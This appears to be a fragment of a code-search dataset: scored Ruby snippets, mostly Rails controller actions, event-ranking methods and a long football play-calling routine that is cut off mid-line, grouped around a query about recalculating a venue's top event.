"text": "def index\n list\n render('list')\n end",
"title": ""
},
{
"docid": "e1caff3d11e49a878a57fc587c1a1b1f",
"score": "0.64411974",
"text": "def action_list(args = {})\n name = args[:name]\n content = args[:content]\n\n alist = []\n return alist\n end",
"title": ""
},
{
"docid": "487114df283cb851d35b2c3b008cf6ce",
"score": "0.6437059",
"text": "def list\n end",
"title": ""
},
{
"docid": "487114df283cb851d35b2c3b008cf6ce",
"score": "0.6437059",
"text": "def list\n end",
"title": ""
},
{
"docid": "599bba1019a562f0ed88e750c624b0ca",
"score": "0.6432909",
"text": "def list\n invoke_with_info(LIST_INFO)\n end",
"title": ""
},
{
"docid": "599bba1019a562f0ed88e750c624b0ca",
"score": "0.6432909",
"text": "def list\n invoke_with_info(LIST_INFO)\n end",
"title": ""
},
{
"docid": "599bba1019a562f0ed88e750c624b0ca",
"score": "0.6432909",
"text": "def list\n invoke_with_info(LIST_INFO)\n end",
"title": ""
},
{
"docid": "599bba1019a562f0ed88e750c624b0ca",
"score": "0.6432909",
"text": "def list\n invoke_with_info(LIST_INFO)\n end",
"title": ""
},
{
"docid": "599bba1019a562f0ed88e750c624b0ca",
"score": "0.6432909",
"text": "def list\n invoke_with_info(LIST_INFO)\n end",
"title": ""
},
{
"docid": "599bba1019a562f0ed88e750c624b0ca",
"score": "0.6432909",
"text": "def list\n invoke_with_info(LIST_INFO)\n end",
"title": ""
},
{
"docid": "599bba1019a562f0ed88e750c624b0ca",
"score": "0.6432909",
"text": "def list\n invoke_with_info(LIST_INFO)\n end",
"title": ""
},
{
"docid": "599bba1019a562f0ed88e750c624b0ca",
"score": "0.6432909",
"text": "def list\n invoke_with_info(LIST_INFO)\n end",
"title": ""
},
{
"docid": "599bba1019a562f0ed88e750c624b0ca",
"score": "0.6432909",
"text": "def list\n invoke_with_info(LIST_INFO)\n end",
"title": ""
},
{
"docid": "599bba1019a562f0ed88e750c624b0ca",
"score": "0.6432909",
"text": "def list\n invoke_with_info(LIST_INFO)\n end",
"title": ""
},
{
"docid": "599bba1019a562f0ed88e750c624b0ca",
"score": "0.6432909",
"text": "def list\n invoke_with_info(LIST_INFO)\n end",
"title": ""
},
{
"docid": "599bba1019a562f0ed88e750c624b0ca",
"score": "0.6432909",
"text": "def list\n invoke_with_info(LIST_INFO)\n end",
"title": ""
},
{
"docid": "599bba1019a562f0ed88e750c624b0ca",
"score": "0.6432909",
"text": "def list\n invoke_with_info(LIST_INFO)\n end",
"title": ""
},
{
"docid": "599bba1019a562f0ed88e750c624b0ca",
"score": "0.6432909",
"text": "def list\n invoke_with_info(LIST_INFO)\n end",
"title": ""
},
{
"docid": "599bba1019a562f0ed88e750c624b0ca",
"score": "0.6432909",
"text": "def list\n invoke_with_info(LIST_INFO)\n end",
"title": ""
},
{
"docid": "599bba1019a562f0ed88e750c624b0ca",
"score": "0.6432909",
"text": "def list\n invoke_with_info(LIST_INFO)\n end",
"title": ""
},
{
"docid": "599bba1019a562f0ed88e750c624b0ca",
"score": "0.6432909",
"text": "def list\n invoke_with_info(LIST_INFO)\n end",
"title": ""
},
{
"docid": "599bba1019a562f0ed88e750c624b0ca",
"score": "0.6432909",
"text": "def list\n invoke_with_info(LIST_INFO)\n end",
"title": ""
},
{
"docid": "599bba1019a562f0ed88e750c624b0ca",
"score": "0.6432909",
"text": "def list\n invoke_with_info(LIST_INFO)\n end",
"title": ""
},
{
"docid": "599bba1019a562f0ed88e750c624b0ca",
"score": "0.6432909",
"text": "def list\n invoke_with_info(LIST_INFO)\n end",
"title": ""
},
{
"docid": "0d293ac3d406eff33669bc8457fdb2f1",
"score": "0.6421259",
"text": "def list_actions(actions)\n\t\t\t\t@params[:list_actions] = actions\n\t\t\tend",
"title": ""
},
{
"docid": "b1bc6d3e7dfabbdce0d279f46f84feee",
"score": "0.64130706",
"text": "def launch_list\r\n\t\tself.start_ruboto_activity(\"$my_list\") do\r\n\t\t\tsetTitle \"Pick Something\"\r\n\t\t\t@list = [\"Converti in euro\", \"Converti in kune\"]\r\n\t\t\tdef on_create(bundle)\r\n\t\t\t\tsetContentView(list_view :list => @list, \r\n\t\t\t\t\t :on_item_click_listener => proc{|av, v, pos, item_id| toast(@list[pos]); finish})\r\n\t\t\tend\r\n\t\tend\r\n\tend",
"title": ""
},
{
"docid": "3f90421e90c912ca60671de7ec70e7b2",
"score": "0.6411418",
"text": "def index\n @listitems = Listitem.all\n end",
"title": ""
},
{
"docid": "3f90421e90c912ca60671de7ec70e7b2",
"score": "0.6411418",
"text": "def index\n @listitems = Listitem.all\n end",
"title": ""
},
{
"docid": "899a72b2170d19ea47acf935393a9ea9",
"score": "0.64013475",
"text": "def index\n\t\tlist\n\t\trender('list')\n\tend",
"title": ""
},
{
"docid": "899a72b2170d19ea47acf935393a9ea9",
"score": "0.64013475",
"text": "def index\n\t\tlist\n\t\trender('list')\n\tend",
"title": ""
},
{
"docid": "899a72b2170d19ea47acf935393a9ea9",
"score": "0.64013475",
"text": "def index\n\t\tlist\n\t\trender('list')\n\tend",
"title": ""
},
{
"docid": "899a72b2170d19ea47acf935393a9ea9",
"score": "0.64013475",
"text": "def index\n\t\tlist\n\t\trender('list')\n\tend",
"title": ""
},
{
"docid": "e76854ba1e75231938ee6589593eb431",
"score": "0.6369177",
"text": "def list\n \tend",
"title": ""
},
{
"docid": "9330d1be13ae7e09a488c1b2c6f3b2fa",
"score": "0.636804",
"text": "def index\n @lists = current_user.accessible_lists.search(params)\n @title = t('labels.list.open')\n respond_with(@list)\n end",
"title": ""
},
{
"docid": "621a82b30b84699a62f0e9ee27e20e4a",
"score": "0.6362942",
"text": "def index\n\tredirect_to action: 'list', mark: 'all'\n end",
"title": ""
},
{
"docid": "e6d2e8f3c4d2e3aa1adb961f4783393a",
"score": "0.6356885",
"text": "def index\r\n list\r\n render :action => 'list', :layout => false\r\n end",
"title": ""
},
{
"docid": "f1a7280ddaf6f6ff4d2fab302fa71cc0",
"score": "0.6352891",
"text": "def what_list_am_i_on(actions)\n # pass\nend",
"title": ""
},
{
"docid": "bb2582961c4451f93c2c449967d586d5",
"score": "0.6349417",
"text": "def index \n redirect_to list_url(current_user.id)\n end",
"title": ""
},
{
"docid": "606ca60386a7cc90fb7f5bd70c9ef202",
"score": "0.6305932",
"text": "def get\n run_other_action Index\n end",
"title": ""
},
{
"docid": "3b5c2dfdf4f658223ee90abb1f34a867",
"score": "0.63015425",
"text": "def list\n # list my shares: user can unshare\n redirect_to shares_path\n end",
"title": ""
},
{
"docid": "81b52812dfd10afd631c1d5d6e63cb43",
"score": "0.62903994",
"text": "def index\n\t\tlist\n\t\trender ('list')\n\tend",
"title": ""
},
{
"docid": "e554d51ae9ccf1873752695fcac28ee3",
"score": "0.6283541",
"text": "def list # for testing \n\tend",
"title": ""
},
{
"docid": "c95b77aa359ef19af92ec3fa9e0369d1",
"score": "0.6277407",
"text": "def search\n list\n render(:action => 'list')\n end",
"title": ""
},
{
"docid": "f0166467553ab2c473ed662a42736d60",
"score": "0.62578684",
"text": "def list \n end",
"title": ""
},
{
"docid": "2f2c4b7f3ce1843b9c28fc14f6927a45",
"score": "0.6257634",
"text": "def index\n get_items\n end",
"title": ""
},
{
"docid": "db463f9fcf797b04bb834a345520ecaf",
"score": "0.6249332",
"text": "def do_list_action(event)\n @record = active_scaffold_config.model.find_by_id params[:id]\n raise UserException.new(:record_not_found) if @record.nil? \n if @record && @record.send(\"#{event}\")\n render :update do |page|\n page.replace element_row_id(:action => 'list', :id => params[:id]), \n :partial => 'list_record', :locals => {:record => @record}\n page << \"ActiveScaffold.stripe('#{active_scaffold_tbody_id}');\"\n end\n else\n message = render_to_string :partial => 'errors'\n render :update do |page|\n page.alert(message)\n end\n end\n end",
"title": ""
},
{
"docid": "c4d642ef575d6c28a8316825586a3ec3",
"score": "0.62469393",
"text": "def index\n @list_entries = ListEntry.all\n end",
"title": ""
},
{
"docid": "55c883e067234a84a33bdb143d716a46",
"score": "0.62346846",
"text": "def index\n list\n end",
"title": ""
}
] |
f77b440587ab2dd622b9c0b3ae7d6882
|
Conall instance methods This should only be run when we're recalculating the scores of all events or determining the top event for the first time
|
[
{
"docid": "3c634bd6d58b6c396fa5b30cc0d073ce",
"score": "0.7775739",
"text": "def calculate_top_event\n #this isn't the logic we're going to settle on -- just placeholder code for now\n\n return if self.events.where(:status.in => Event::TRENDED_OR_TRENDING).count == 0\n\n top_event = self.events.where(:status.in => Event::TRENDED_OR_TRENDING).order_by([[:end_time, :desc]]).first\n self.top_event_id = top_event.id\n self.top_event_score = top_event.get_adjusted_score\n end",
"title": ""
}
] |
[
{
"docid": "808eccc7130a4b6bcbace078957095db",
"score": "0.7347881",
"text": "def reconsider_top_event\n\n if self.events.empty? || (self.events.where(:status.in => Event::TRENDED_OR_TRENDING).count == 0)\n ### if somehow we have a top_event_id and top_event_score but no eligible events, alert and fix it\n self.update_attribute(:top_event_id, nil) if self.top_event_id\n self.update_attribute(:top_event_score, nil) if self.top_event_score\n return\n end\n\n if self.top_event_id.nil? || Event.where(:_id => self.top_event_id).first.nil?\n self.calculate_top_event\n end\n\n top_event = Event.find(self.top_event_id)\n max_score_event = self.events.order_by([[:score, :desc]]).first\n\n if(max_score_event.nil? || max_score_event.score == 0)\n Rails.logger.error(\"Venue.rb: Highest scoring event in venue #{venue.id} has score 0\")\n return\n end\n\n #only interested in events that could have a higher adjusted score \n min_end_time = self.oldest_meaningful_end_time(top_event, max_score_event)\n \n top_adjusted_score = top_event.get_adjusted_score\n recent_events = self.events.where(:end_time.gte => min_end_time, :score.gt => top_adjusted_score).entries\n\n new_top = top_event\n \n recent_events.each do |event| \n event_adjusted_score = event.get_adjusted_score\n if event_adjusted_score > top_adjusted_score\n top_adjusted_score = event_adjusted_score\n new_top = event\n end\n end\n\n if new_top != top_event \n self.top_event_id = new_top.id\n self.top_event_score = new_top.get_adjusted_score\n Rails.logger.info(\"Venue #{self.id} has new top event\")\n end\n\n self.top_event_score = top_event.get_adjusted_score\n begin \n self.save!\n rescue\n Rails.logger.error(\"Venue #{self.id} failed to save\")\n end\n end",
"title": ""
},
{
"docid": "98f4a2bf0497b2b47c52fcbe6c5c66fc",
"score": "0.60980064",
"text": "def reccomend_me\n event_list = score_events.keys\n event_list.first 5\n end",
"title": ""
},
{
"docid": "ab0785d94c7e0ca7b532e41f2dfc5932",
"score": "0.59668225",
"text": "def collect_event_bests\n # TODO\n # Limit the results to the season older than the target one\n\n MeetingIndividualResult\n .for_season_type(@season_type)\n .for_gender_type(@gender_type)\n .for_category_code(@category_type.code)\n .for_pool_type(@pool_type)\n .for_event_type(@event_type)\n .for_date_range(Date.new(0), @season.begin_date - 1)\n .sort_by_timing\n .limit(@bests_to_be_ignored + @max_results)\n\n # TODO\n # Verify where for_category_type scope is used!!!\n end",
"title": ""
},
{
"docid": "d693f05ca4f0b53adfab58c768402426",
"score": "0.59355193",
"text": "def call(event)\n puts \"TODO: Implement Scoring::Speed (time based scoring)\"\n p self\n end",
"title": ""
},
{
"docid": "2fc172ef85f1e601ab88382bdf0cb553",
"score": "0.5877212",
"text": "def calculate_ironmaster_score\n ironmaster_results = []\n events = []\n get_results.each do |meeting_individual_result|\n unless events.include?(meeting_individual_result.event_type.code)\n ironmaster_results << meeting_individual_result\n events << meeting_individual_result.event_type.code\n end\n end\n BestLimitedRankingDAO.new(ironmaster_results)\n end",
"title": ""
},
{
"docid": "f68a974389fe45758912193196b7ddd7",
"score": "0.58771515",
"text": "def process_latest_event\n e = @latest_event\n\n new_event(e[:play_count], e[:text])\n update_bases_widget({\n :bases_occupied => e[:bases_occupied],\n :baserunners => e[:baserunners],\n :baserunner_names => e[:baserunner_names],\n })\n update_inning_marker(e[:inning], e[:is_top]) \n update_count_widget(e[:current_balls], e[:current_strikes], e[:current_outs])\n update_weather(e[:weather])\n\n # Who's at the plate now? Remember, there is no \"batter\" as such\n # once they're running.\n #\n # Also, we don't fetch new hitting stats if it's already the player at-bat.\n batterid = e[:is_top] ? e[:away_batter] : e[:home_batter]\n battername = e[:is_top] ? e[:away_batter_name] : e[:home_batter_name]\n\n if batterid && battername && (batterid != @most_recent_batter)\n @most_recent_batter = batterid\n update_playerinfo(batterid, battername)\n get_hitting_stats(batterid)\n end\n end",
"title": ""
},
{
"docid": "63c0e71db32c81713818ba3fa6f163be",
"score": "0.5848525",
"text": "def bottom_three_rated_events\n self.lowest_events_by_rating.first(3)\n end",
"title": ""
},
{
"docid": "0762c65026f8019401657555dff1b4d1",
"score": "0.5842134",
"text": "def assign_scores\n @event = Event.find(params[:id])\n @event.scores = init_scores @event if @event.scores.empty?\n @scores = @event.scores\n end",
"title": ""
},
{
"docid": "f4786e6c0a0a4ccf96e30a521f6d5972",
"score": "0.5731593",
"text": "def scoring_calculator\n case event_class\n when \"Shortest Time\"\n @scrc ||= RaceResultCalculator.new\n when \"Longest Time\"\n ### XXX this is strange...the determination as to which is the better score is not needed here?\n @scsc ||= RaceResultCalculator.new(false)\n when \"Timed Multi-Lap\"\n @scrc ||= MultiLapResultCalculator.new\n when \"Points Low to High\"\n @scers ||= ExternalResultResultCalculator.new\n when \"Points High to Low\"\n @scers ||= ExternalResultResultCalculator.new\n when \"Freestyle\"\n unicon_scoring = !EventConfiguration.singleton.artistic_score_elimination_mode_naucc?\n @scasc ||= ArtisticResultCalculator.new(unicon_scoring)\n when \"Artistic Freestyle IUF 2015\"\n @scasc ||= ArtisticResultCalculator_2015.new\n when \"Flatland\"\n @scsc ||= FlatlandResultCalculator.new\n when \"Street\", \"Street Final\"\n @scsc ||= StreetResultCalculator.new\n when \"High/Long\", \"High/Long Preliminary IUF 2015\", \"High/Long Final IUF 2015\"\n @scdsc ||= DistanceResultCalculator.new\n when \"Overall Champion\"\n @ascoc ||= OverallChampionResultCalculator.new(combined_competition, self)\n when \"Standard Skill\"\n @sscs ||= StandardSkillResultCalculator.new\n end\n end",
"title": ""
},
{
"docid": "33d3cb6a5298af27a97d54b4130595e1",
"score": "0.5682275",
"text": "def calculate_supermaster_score(number_of_bests = 5)\n supermaster_results = []\n events = []\n get_results.each do |meeting_individual_result|\n next if events.include?(meeting_individual_result.event_type.code)\n\n supermaster_results << meeting_individual_result\n events << meeting_individual_result.event_type.code\n break if supermaster_results.count == number_of_bests\n end\n BestLimitedRankingDAO.new(supermaster_results)\n end",
"title": ""
},
{
"docid": "91a6bd6f307d93452d3c99f3e1022a07",
"score": "0.55882406",
"text": "def use_default_gamecall\n event = Event.find_by(id: self.event_id)\n title = self.title\n\n #----------Openers----------\n openers = event.plays.where('situation1 = ?', true)\n openersLeft = openers.where('hash_mark = ?', 'Left')\n openersRight = openers.where('hash_mark = ?', 'Right')\n\n #Openers Left Hash\n unless openersLeft[0].nil? \n openl1 = openersLeft[0].fullname \n end\n unless openersLeft[1].nil? \n openl2 = openersLeft[1].fullname \n end\n unless openersLeft[2].nil? \n openl3 = openersLeft[2].fullname \n end\n unless openersLeft[3].nil? \n openl4 = openersLeft[3].fullname \n end\n unless openersLeft[4].nil? \n openl5 = openersLeft[4].fullname \n end\n unless openersLeft[5].nil? \n openl6 = openersLeft[5].fullname \n end\n unless openersLeft[6].nil? \n openl7 = openersLeft[6].fullname \n end\n unless openersLeft[7].nil? \n openl8 = openersLeft[7].fullname \n end\n unless openersLeft[8].nil? \n openl9 = openersLeft[8].fullname \n end\n unless openersLeft[9].nil? \n openl10 = openersLeft[9].fullname \n end\n unless openersLeft[10].nil? \n openl11 = openersLeft[10].fullname \n end\n unless openersLeft[11].nil? \n openl12 = openersLeft[11].fullname \n end\n unless openersLeft[12].nil? \n openl13 = openersLeft[12].fullname \n end\n unless openersLeft[13].nil? \n openl14 = openersLeft[13].fullname \n end \n unless openersLeft[14].nil? \n openl15 = openersLeft[14].fullname \n end \n\n #Openers Right Hash\n unless openersRight[0].nil? \n openr1 = openersRight[0].fullname \n end\n unless openersRight[1].nil? \n openr2 = openersRight[1].fullname \n end\n unless openersRight[2].nil? \n openr3 = openersRight[2].fullname \n end\n unless openersRight[3].nil? \n openr4 = openersRight[3].fullname \n end\n unless openersRight[4].nil? \n openr5 = openersRight[4].fullname \n end\n unless openersRight[5].nil? \n openr6 = openersRight[5].fullname \n end\n unless openersRight[6].nil? \n openr7 = openersRight[6].fullname \n end\n unless openersRight[7].nil? \n openr8 = openersRight[7].fullname \n end\n unless openersRight[8].nil? \n openr9 = openersRight[8].fullname \n end\n unless openersRight[9].nil? \n openr10 = openersRight[9].fullname \n end\n unless openersRight[10].nil? \n openr11 = openersRight[10].fullname \n end\n unless openersRight[11].nil? \n openr12 = openersRight[11].fullname \n end\n unless openersRight[12].nil? \n openr13 = openersRight[12].fullname \n end\n unless openersRight[13].nil? \n openr14 = openersRight[13].fullname \n end \n unless openersRight[14].nil? \n openr15 = openersRight[14].fullname \n end \n #----------End Openers----------\n\n #----------1st/2nd & 10----------\n firstTens = event.plays.where('situation2 = ?', true)\n \n runFirstTens = firstTens.where('play_type = ?', 'Run')\n runFirstTensLeft = runFirstTens.where('hash_mark = ?', 'Left')\n runFirstTensRight = runFirstTens.where('hash_mark = ?', 'Right')\n \n passFirstTens = firstTens.where('play_type = ?', 'Pass')\n passFirstTensLeft = passFirstTens.where('hash_mark = ?', 'Left')\n passFirstTensRight = passFirstTens.where('hash_mark = ?', 'Right')\n\n #Run Left Hash\n unless runFirstTensLeft[0].nil? \n rftl1 = runFirstTensLeft[0].fullname \n end\n unless runFirstTensLeft[1].nil? \n rftl2 = runFirstTensLeft[1].fullname \n end\n unless runFirstTensLeft[2].nil? \n rftl3 = runFirstTensLeft[2].fullname \n end\n unless runFirstTensLeft[3].nil? \n rftl4 = runFirstTensLeft[3].fullname \n end\n unless runFirstTensLeft[4].nil? \n rftl5 = runFirstTensLeft[4].fullname \n end\n unless runFirstTensLeft[5].nil? \n rftl6 = runFirstTensLeft[5].fullname \n end\n unless runFirstTensLeft[6].nil? \n rftl7 = runFirstTensLeft[6].fullname \n end\n unless runFirstTensLeft[7].nil? \n rftl8 = runFirstTensLeft[7].fullname \n end\n unless runFirstTensLeft[8].nil? \n rftl9 = runFirstTensLeft[8].fullname \n end\n unless runFirstTensLeft[9].nil? \n rftl10 = runFirstTensLeft[9].fullname \n end\n unless runFirstTensLeft[10].nil? \n rftl11 = runFirstTensLeft[10].fullname \n end\n unless runFirstTensLeft[11].nil? \n rftl12 = runFirstTensLeft[11].fullname \n end\n unless runFirstTensLeft[12].nil? \n rftl13 = runFirstTensLeft[12].fullname \n end\n unless runFirstTensLeft[13].nil? \n rftl14 = runFirstTensLeft[13].fullname \n end \n unless runFirstTensLeft[14].nil? \n rftl15 = runFirstTensLeft[14].fullname \n end \n\n #Run Right Hash\n unless runFirstTensRight[0].nil? \n rftr1 = runFirstTensRight[0].fullname \n end\n unless runFirstTensRight[1].nil? \n rftr2 = runFirstTensRight[1].fullname \n end\n unless runFirstTensRight[2].nil? \n rftr3 = runFirstTensRight[2].fullname \n end\n unless runFirstTensRight[3].nil? \n rftr4 = runFirstTensRight[3].fullname \n end\n unless runFirstTensRight[4].nil? \n rftr5 = runFirstTensRight[4].fullname \n end\n unless runFirstTensRight[5].nil? \n rftr6 = runFirstTensRight[5].fullname \n end\n unless runFirstTensRight[6].nil? \n rftr7 = runFirstTensRight[6].fullname \n end\n unless runFirstTensRight[7].nil? \n rftr8 = runFirstTensRight[7].fullname \n end\n unless runFirstTensRight[8].nil? \n rftr9 = runFirstTensRight[8].fullname \n end\n unless runFirstTensRight[9].nil? \n rftr10 = runFirstTensRight[9].fullname \n end\n unless runFirstTensRight[10].nil? \n rftr11 = runFirstTensRight[10].fullname \n end\n unless runFirstTensRight[11].nil? \n rftr12 = runFirstTensRight[11].fullname \n end\n unless runFirstTensRight[12].nil? \n rftr13 = runFirstTensRight[12].fullname \n end\n unless runFirstTensRight[13].nil? \n rftr14 = runFirstTensRight[13].fullname \n end\n unless runFirstTensRight[14].nil? \n rftr15 = runFirstTensRight[14].fullname \n end \n\n #Pass Left Hash\n unless passFirstTensLeft[0].nil? \n pftl1 = passFirstTensLeft[0].fullname \n end\n unless passFirstTensLeft[1].nil? \n pftl2 = passFirstTensLeft[1].fullname \n end\n unless passFirstTensLeft[2].nil? \n pftl3 = passFirstTensLeft[2].fullname \n end\n unless passFirstTensLeft[3].nil? \n pftl4 = passFirstTensLeft[3].fullname \n end\n unless passFirstTensLeft[4].nil? \n pftl5 = passFirstTensLeft[4].fullname \n end\n unless passFirstTensLeft[5].nil? \n pftl6 = passFirstTensLeft[5].fullname \n end\n unless passFirstTensLeft[6].nil? \n pftl7 = passFirstTensLeft[6].fullname \n end\n unless passFirstTensLeft[7].nil? \n pftl8 = passFirstTensLeft[7].fullname \n end\n unless passFirstTensLeft[8].nil? \n pftl9 = passFirstTensLeft[8].fullname \n end\n unless passFirstTensLeft[9].nil? \n pftl10 = passFirstTensLeft[9].fullname \n end\n unless passFirstTensLeft[10].nil? \n pftl11 = passFirstTensLeft[10].fullname \n end\n unless passFirstTensLeft[11].nil? \n pftl12 = passFirstTensLeft[11].fullname \n end\n unless passFirstTensLeft[12].nil? \n pftl13 = passFirstTensLeft[12].fullname \n end\n unless passFirstTensLeft[13].nil? \n pftl14 = passFirstTensLeft[13].fullname \n end \n unless passFirstTensLeft[14].nil? \n pftl15 = passFirstTensLeft[14].fullname \n end \n\n #Pass Right Hash\n unless passFirstTensRight[0].nil? \n pftr1 = passFirstTensRight[0].fullname \n end\n unless passFirstTensRight[1].nil? \n pftr2 = passFirstTensRight[1].fullname \n end\n unless passFirstTensRight[2].nil? \n pftr3 = passFirstTensRight[2].fullname \n end\n unless passFirstTensRight[3].nil? \n pftr4 = passFirstTensRight[3].fullname \n end\n unless passFirstTensRight[4].nil? \n pftr5 = passFirstTensRight[4].fullname \n end\n unless passFirstTensRight[5].nil? \n pftr6 = passFirstTensRight[5].fullname \n end\n unless passFirstTensRight[6].nil? \n pftr7 = passFirstTensRight[6].fullname \n end \n unless passFirstTensRight[7].nil? \n pftr8 = passFirstTensRight[7].fullname \n end\n unless passFirstTensRight[8].nil? \n pftr9 = passFirstTensRight[8].fullname \n end \n unless passFirstTensRight[9].nil? \n pftr10 = passFirstTensRight[9].fullname \n end\n unless passFirstTensRight[10].nil? \n pftr11 = passFirstTensRight[10].fullname \n end\n unless passFirstTensRight[11].nil? \n pftr12 = passFirstTensRight[11].fullname \n end\n unless passFirstTensRight[12].nil? \n pftr13 = passFirstTensRight[12].fullname \n end\n unless passFirstTensRight[13].nil? \n pftr14 = passFirstTensRight[13].fullname \n end\n unless passFirstTensRight[14].nil? \n pftr15 = passFirstTensRight[14].fullname \n end\n\n\n #Number of user's run plays in situation 2\n num_ftr = self.user.s_name2_num_run\n\n #Left Hash\n # ftl_s0 \n if num_ftr > 0\n ftl_s0 = self.user.s_name2 + ' - Run'\n else\n ftl_s0 = self.user.s_name2 + ' - Pass'\n end\n\n #ftl_s1 \n if num_ftr > 0\n ftl_s1 = rftl1\n else\n ftl_s1 = pftl1\n end\n\n #ftl_s2\n if num_ftr == 0\n ftl_s2 = pftl2\n elsif num_ftr == 1\n ftl_s2 = self.user.s_name2 + ' - Pass'\n else num_ftr > 1\n ftl_s2 = rftl2\n end\n\n #ftl_s3\n case num_ftr\n when 0 then ftl_s3 = pftl3 \n when 1 then ftl_s3 = pftl1\n when 2 then ftl_s3 = self.user.s_name2 + ' - Pass'\n when 3..100 then ftl_s3 = rftl3\n end\n\n #ftl_s4\n case num_ftr\n when 0 then ftl_s4 = pftl4 \n when 1 then ftl_s4 = pftl2\n when 2 then ftl_s4 = pftl1\n when 3 then ftl_s4 = self.user.s_name2 + ' - Pass'\n when 4..100 then ftl_s4 = rftl4\n end\n\n #ftl_s5\n case num_ftr\n when 0 then ftl_s5 = pftl5 \n when 1 then ftl_s5 = pftl3\n when 2 then ftl_s5 = pftl2\n when 3 then ftl_s5 = pftl1\n when 4 then ftl_s5 = self.user.s_name2 + ' - Pass'\n when 5..100 then ftl_s5 = rftl5\n end\n\n #ftl_s6\n case num_ftr\n when 0 then ftl_s6 = pftl6 \n when 1 then ftl_s6 = pftl4\n when 2 then ftl_s6 = pftl3\n when 3 then ftl_s6 = pftl2\n when 4 then ftl_s6 = pftl1\n when 5 then ftl_s6 = self.user.s_name2 + ' - Pass'\n when 6..100 then ftl_s6 = rftl6\n end\n\n #ftl_s7\n case num_ftr\n when 0 then ftl_s7 = pftl7 \n when 1 then ftl_s7 = pftl5\n when 2 then ftl_s7 = pftl4\n when 3 then ftl_s7 = pftl3\n when 4 then ftl_s7 = pftl2\n when 5 then ftl_s7 = pftl1\n when 6 then ftl_s7 = self.user.s_name2 + ' - Pass'\n when 7..100 then ftl_s7 = rftl7\n end\n\n #ftl_s8\n case num_ftr\n when 0 then ftl_s8 = pftl8 \n when 1 then ftl_s8 = pftl6\n when 2 then ftl_s8 = pftl5\n when 3 then ftl_s8 = pftl4\n when 4 then ftl_s8 = pftl3\n when 5 then ftl_s8 = pftl2\n when 6 then ftl_s8 = pftl1\n when 7 then ftl_s8 = self.user.s_name2 + ' - Pass'\n when 8..100 then ftl_s8 = rftl8\n end\n\n #ftl_s9\n case num_ftr\n when 0 then ftl_s9 = pftl9 \n when 1 then ftl_s9 = pftl7\n when 2 then ftl_s9 = pftl6\n when 3 then ftl_s9 = pftl5\n when 4 then ftl_s9 = pftl4\n when 5 then ftl_s9 = pftl3\n when 6 then ftl_s9 = pftl2\n when 7 then ftl_s9 = pftl1\n when 8 then ftl_s9 = self.user.s_name2 + ' - Pass'\n when 9..100 then ftl_s9 = rftl9\n end\n\n #ftl_s10\n case num_ftr\n when 0 then ftl_s10 = pftl10 \n when 1 then ftl_s10 = pftl8\n when 2 then ftl_s10 = pftl7\n when 3 then ftl_s10 = pftl6\n when 4 then ftl_s10 = pftl5\n when 5 then ftl_s10 = pftl4\n when 6 then ftl_s10 = pftl3\n when 7 then ftl_s10 = pftl2\n when 8 then ftl_s10 = pftl1\n when 9 then ftl_s10 = self.user.s_name2 + ' - Pass'\n when 10..100 then ftl_s10 = rftl10\n end\n\n #ftl_s11\n case num_ftr\n when 0 then ftl_s11 = pftl11 \n when 1 then ftl_s11 = pftl9\n when 2 then ftl_s11 = pftl8\n when 3 then ftl_s11 = pftl7\n when 4 then ftl_s11 = pftl6\n when 5 then ftl_s11 = pftl5\n when 6 then ftl_s11 = pftl4\n when 7 then ftl_s11 = pftl3\n when 8 then ftl_s11 = pftl2\n when 9 then ftl_s11 = pftl1\n when 10 then ftl_s11 = self.user.s_name2 + ' - Pass'\n when 11..100 then ftl_s11 = rftl11\n end\n\n #ftl_s12\n case num_ftr\n when 0 then ftl_s12 = pftl12 \n when 1 then ftl_s12 = pftl10\n when 2 then ftl_s12 = pftl9\n when 3 then ftl_s12 = pftl8\n when 4 then ftl_s12 = pftl7\n when 5 then ftl_s12 = pftl6\n when 6 then ftl_s12 = pftl5\n when 7 then ftl_s12 = pftl4\n when 8 then ftl_s12 = pftl3\n when 9 then ftl_s12 = pftl2\n when 10 then ftl_s12 = pftl1\n when 11 then ftl_s12 = self.user.s_name2 + ' - Pass'\n when 12..100 then ftl_s12 = rftl12\n end\n\n #ftl_s13\n case num_ftr\n when 0 then ftl_s13 = pftl13 \n when 1 then ftl_s13 = pftl11\n when 2 then ftl_s13 = pftl10\n when 3 then ftl_s13 = pftl9\n when 4 then ftl_s13 = pftl8\n when 5 then ftl_s13 = pftl7\n when 6 then ftl_s13 = pftl6\n when 7 then ftl_s13 = pftl5\n when 8 then ftl_s13 = pftl4\n when 9 then ftl_s13 = pftl3\n when 10 then ftl_s13 = pftl2\n when 11 then ftl_s13 = pftl1\n when 12 then ftl_s13 = self.user.s_name2 + ' - Pass'\n when 13..100 then ftl_s13 = rftl13\n end\n\n #ftl_s14\n case num_ftr\n when 0 then ftl_s14 = pftl14 \n when 1 then ftl_s14 = pftl12\n when 2 then ftl_s14 = pftl11\n when 3 then ftl_s14 = pftl10\n when 4 then ftl_s14 = pftl9\n when 5 then ftl_s14 = pftl8\n when 6 then ftl_s14 = pftl7\n when 7 then ftl_s14 = pftl6\n when 8 then ftl_s14 = pftl5\n when 9 then ftl_s14 = pftl4\n when 10 then ftl_s14 = pftl3\n when 11 then ftl_s14 = pftl2\n when 12 then ftl_s14 = pftl1 \n when 13 then ftl_s14 = self.user.s_name2 + ' - Pass'\n when 14..100 then ftl_s14 = rftl14\n end\n\n #ftl_s15\n case num_ftr\n when 0 then ftl_s15 = pftl15 \n when 1 then ftl_s15 = pftl13\n when 2 then ftl_s15 = pftl12\n when 3 then ftl_s15 = pftl11\n when 4 then ftl_s15 = pftl10\n when 5 then ftl_s15 = pftl9\n when 6 then ftl_s15 = pftl8\n when 7 then ftl_s15 = pftl7\n when 8 then ftl_s15 = pftl6\n when 9 then ftl_s15 = pftl5\n when 10 then ftl_s15 = pftl4\n when 11 then ftl_s15 = pftl3\n when 12 then ftl_s15 = pftl2\n when 13 then ftl_s15 = pftl1 \n when 14..100 then ftl_s15 = rftl15\n end \n\n\n #Right Hash\n # ftr_s0 would always be blank\n\n #ftr_s1 \n if num_ftr > 0\n ftr_s1 = rftr1\n else\n ftr_s1 = pftr1\n end\n\n #ftr_s2\n if num_ftr == 0\n ftr_s2 = pftr2\n elsif num_ftr == 1\n ftr_s2 = ''\n else num_ftr > 1\n ftr_s2 = rftr2\n end\n\n #ftr_s3\n case num_ftr\n when 0 then ftr_s3 = pftr3 \n when 1 then ftr_s3 = pftr1\n when 2 then ftr_s3 = ''\n when 3..100 then ftr_s3 = rftr3\n end\n\n #ftr_s4\n case num_ftr\n when 0 then ftr_s4 = pftr4 \n when 1 then ftr_s4 = pftr2\n when 2 then ftr_s4 = 